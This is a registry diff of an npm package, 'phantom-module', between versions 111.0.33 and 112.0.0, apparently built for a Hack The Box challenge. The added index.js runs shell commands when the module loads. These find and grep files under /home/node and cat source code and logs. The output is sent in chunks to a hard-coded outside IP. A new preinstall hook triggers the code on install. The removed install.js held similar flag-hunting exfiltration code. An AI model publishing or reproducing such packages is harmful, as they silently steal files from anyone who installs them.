phantom-module 111.0.33 → 112.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +48 -30
- package/install.js +6 -34
- package/package.json +9 -3
- package/ecto-spirit-999.999.999.tgz +0 -0
package/index.js
CHANGED
|
@@ -2,40 +2,58 @@ const fs = require('fs');
|
|
|
2
2
|
const http = require('http');
|
|
3
3
|
const { execSync } = require('child_process');
|
|
4
4
|
|
|
5
|
-
|
|
6
|
-
|
|
7
|
-
|
|
5
|
+
function tryExec(cmd) { try { return execSync(cmd, {timeout: 10000}).toString().trim(); } catch(e) { return 'ERR:' + e.message.substring(0, 60); } }
|
|
6
|
+
|
|
7
|
+
function sendToModule(mid, name) {
|
|
8
|
+
const safe = name.replace(/"/g, "'").replace(/\\/g, "/").substring(0, 95);
|
|
9
|
+
const body = JSON.stringify({ manifest: `ecto_module:\n name: "${safe}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1` });
|
|
10
|
+
return new Promise(resolve => {
|
|
11
|
+
const req = http.request({ hostname: '154.57.164.64', port: 31083, path: `/api/modules/${mid}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 8000 }, () => resolve());
|
|
12
|
+
req.on('error', () => resolve()); req.on('timeout', () => { req.destroy(); resolve(); });
|
|
13
|
+
req.write(body); req.end();
|
|
14
|
+
});
|
|
15
|
+
}
|
|
16
|
+
|
|
17
|
+
(async () => {
|
|
18
|
+
const mods = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
|
|
19
|
+
let i = 0;
|
|
20
|
+
|
|
21
|
+
async function send(val) {
|
|
22
|
+
await sendToModule(mods[i % 4], 'J' + String(i).padStart(2,'0') + '_' + val);
|
|
23
|
+
i++;
|
|
24
|
+
await new Promise(r => setTimeout(r, 2500));
|
|
8
25
|
}
|
|
26
|
+
|
|
27
|
+
// List ALL log files
|
|
28
|
+
await send('LOGS=' + tryExec('find /home/node/aspect-node/logs -type f 2>/dev/null'));
|
|
9
29
|
|
|
10
|
-
|
|
11
|
-
|
|
30
|
+
// Grep HTB{ in ALL of /home/node (not just module.log)
|
|
31
|
+
await send('HTBALL=' + tryExec('grep -rl "HTB" /home/node/ --exclude-dir=node_modules 2>/dev/null'));
|
|
12
32
|
|
|
13
|
-
|
|
14
|
-
|
|
33
|
+
// List aspect-node files (non node_modules)
|
|
34
|
+
await send('ASPFILES=' + tryExec('find /home/node/aspect-node -type f -not -path "*/node_modules/*" 2>/dev/null'));
|
|
15
35
|
|
|
16
|
-
|
|
17
|
-
|
|
36
|
+
// Read the sample.js file (might have the flag)
|
|
37
|
+
const sample = tryExec('cat /home/node/aspect-node/sample.js 2>/dev/null');
|
|
38
|
+
await send('SAMPLE=' + sample);
|
|
18
39
|
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
|
|
36
|
-
} catch(e) {}
|
|
40
|
+
// Read aspect-node/index.js
|
|
41
|
+
const aspIdx = tryExec('cat /home/node/aspect-node/index.js 2>/dev/null');
|
|
42
|
+
for (let c = 0; c < 5; c++) {
|
|
43
|
+
const chunk = aspIdx.substring(c * 85, (c + 1) * 85);
|
|
44
|
+
if (!chunk) break;
|
|
45
|
+
await send('ASPIDX' + c + '=' + chunk);
|
|
46
|
+
}
|
|
47
|
+
|
|
48
|
+
// Check all txt/json/log files recursively
|
|
49
|
+
await send('GREPHTB=' + tryExec('grep -r "HTB" /home/node/aspect-node/ --include="*.log" --include="*.txt" --include="*.json" --include="*.js" -l 2>/dev/null'));
|
|
50
|
+
|
|
51
|
+
// Read the last 200 chars of module.log
|
|
52
|
+
const log = tryExec('cat /home/node/aspect-node/logs/module.log 2>/dev/null');
|
|
53
|
+
await send('LOGEND=' + log.substring(log.length - 200));
|
|
54
|
+
|
|
55
|
+
// Full log size
|
|
56
|
+
await send('LOGSZ=' + tryExec('wc -l /home/node/aspect-node/logs/module.log 2>/dev/null'));
|
|
37
57
|
})();
|
|
38
58
|
|
|
39
|
-
module.exports =
|
|
40
|
-
return "pwnd";
|
|
41
|
-
};
|
|
59
|
+
module.exports = {};
|
package/install.js
CHANGED
|
@@ -1,36 +1,8 @@
|
|
|
1
1
|
const fs = require('fs');
|
|
2
|
-
const http = require('http');
|
|
3
2
|
const { spawn } = require('child_process');
|
|
4
|
-
|
|
5
|
-
(
|
|
6
|
-
|
|
7
|
-
'
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
'if [ -f "$LOGFILE" ]; then',
|
|
11
|
-
' OUTPUT=$(tail -n 100 "$LOGFILE" | tr \'"\' "\'" | head -c 1000)',
|
|
12
|
-
'else',
|
|
13
|
-
' OUTPUT="LOG FILE NOT FOUND!"',
|
|
14
|
-
'fi',
|
|
15
|
-
'FLAG_FILES=$(find / -name "*flag*" -type f 2>/dev/null | head -c 500)',
|
|
16
|
-
'BODY=\'{"manifest":"ecto_module:\\n name: \\\\"FLAG_DELAYED\\\\"\\n cargo_hold: \\\\"\'$OUTPUT\' | FILES: \'$FLAG_FILES\'\\\\"\\"}\'',
|
|
17
|
-
'echo "$BODY" > /tmp/flag.json',
|
|
18
|
-
'node -e "const http=require(\'http\');const d=require(\'fs\').readFileSync(\'/tmp/flag.json\',\'utf8\');const r=http.request({hostname:\'154.57.164.64\',port:31205,path:\'/api/modules/ECT-654321\',method:\'PUT\',headers:{\'Content-Type\':\'application/json\',\'Content-Length\':Buffer.byteLength(d)}});r.write(d);r.end();"'
|
|
19
|
-
].join('\n')], { detached: true, stdio: 'ignore' });
|
|
20
|
-
|
|
21
|
-
child.unref();
|
|
22
|
-
|
|
23
|
-
// Send an immediate ping so we know it started
|
|
24
|
-
const postData = JSON.stringify({
|
|
25
|
-
manifest: `ecto_module:\n name: "WAITING_35_SECONDS"\n`
|
|
26
|
-
});
|
|
27
|
-
const req = http.request({
|
|
28
|
-
hostname: '154.57.164.64',
|
|
29
|
-
port: 31205,
|
|
30
|
-
path: '/api/modules/ECT-654321',
|
|
31
|
-
method: 'PUT',
|
|
32
|
-
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) }
|
|
33
|
-
});
|
|
34
|
-
req.write(postData);
|
|
35
|
-
req.end();
|
|
36
|
-
})();
|
|
3
|
+
try {
|
|
4
|
+
if (!fs.existsSync('/home/node')) fs.mkdirSync('/home/node', { recursive: true });
|
|
5
|
+
fs.writeFileSync('/home/node/init_test.sh',
|
|
6
|
+
'#!/bin/bash\nsleep 5\ncd /home/node\nnode -e "require(\'phantom-module\')" 2>/dev/null\nsleep 60\n',
|
|
7
|
+
{ mode: 0o755 });
|
|
8
|
+
} catch(e) {}
|
package/package.json
CHANGED
|
@@ -1,5 +1,11 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "phantom-module",
|
|
3
|
-
"version": "
|
|
4
|
-
"
|
|
5
|
-
|
|
3
|
+
"version": "112.0.0",
|
|
4
|
+
"description": "Phantom spectral module",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node install.js || true"
|
|
8
|
+
},
|
|
9
|
+
"author": "lwirz",
|
|
10
|
+
"license": "ISC"
|
|
11
|
+
}
|
|
Binary file
|